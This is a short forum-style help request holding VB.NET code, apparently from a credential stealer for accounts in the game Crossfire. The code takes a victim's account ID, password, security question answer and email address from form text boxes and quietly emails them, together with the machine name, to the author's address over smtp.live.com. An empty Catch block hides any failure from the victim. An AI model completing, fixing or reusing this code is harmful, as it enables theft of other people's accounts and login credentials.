Need help

Dim Nachricht As New MailMessage
        Dim MeineEinst As New System.Net.NetworkCredential
        MeineEinst.UserName = "myemail@live.de"
        MeineEinst.Password = "mypassword"

        Nachricht.IsBodyHtml = False

        Dim MeinSMTPServer As New SmtpClient
        MeinSMTPServer.Host = "smtp.live.com"
        MeinSMTPServer.Port = "587"

        MeinSMTPServer.UseDefaultCredentials = False
        MeinSMTPServer.Credentials = MeineEinst

        Nachricht.From = New MailAddress("myemail@live.de")
        Nachricht.To.Add("myemail@live.de")
        Nachricht.Subject = "Crossfire Account: " & System.Environment.MachineName
        Nachricht.Body = "Pc: " & System.Environment.MachineName & "ID: " & TextBox1.Text & "PW: " & TextBox2.Text & "Security Question: " & TextBox3.Text & "Email-Adresse: " & TextBox4.Text

        If TextBox1.TextLength > 3 & TextBox2.TextLength > 3 & TextBox3.TextLength > 3 & TextBox4.TextLength > 3 Then
            Try
                MeinSMTPServer.Send(Nachricht)

            Catch ex As Exception

            End Try